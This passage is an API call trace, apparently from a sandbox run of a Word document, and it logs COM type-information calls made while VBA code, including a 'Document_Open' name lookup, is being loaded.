_mbscpy_s (in: _Dst=0x127580, _DstSizeInBytes=0xe, _Src=0x3ef2b3e | out: _Dst=0x127580) returned 0x0 [0053.467] _mbscpy_s (in: _Dst=0x127589, _DstSizeInBytes=0x5, _Src=0x127730 | out: _Dst=0x127589) returned 0x0 [0053.467] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0053.469] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50870 [0053.471] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126e20 | out: ppvObject=0x126e20*=0x0) returned 0x80004002 [0053.471] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x126d68 | out: ppvObject=0x126d68*=0x68568f0) returned 0x0 [0053.471] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x126d78 | out: pVarVal=0x126d78*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.471] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.471] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x126d70, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x126d90 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x126d90*="") returned 0x0 [0053.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x126c80, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.471] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.471] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x126d70, pDummy=0x0 | out: ppTypeAttr=0x126d70, pDummy=0x0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x0, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.471] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.471] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.472] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x10, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.472] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.480] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x11, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.480] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.480] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x12, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.480] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.480] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x13, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.480] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.480] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x14, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.480] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.480] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x15, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.480] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.480] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x16, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.480] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.480] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x17, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.480] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x18, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x19, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x20, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x21, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x22, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x23, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x24, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x25, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x26, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x27, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x28, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x29, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.481] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.481] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x30, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x31, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x32, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x33, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x34, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x35, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x36, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x37, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x38, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x39, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x40, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x41, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x42, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x43, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x44, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x45, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x46, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x47, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.482] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.482] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x48, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x49, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x50, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x51, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x52, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x53, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x54, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x55, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x56, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x57, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x58, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x59, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] 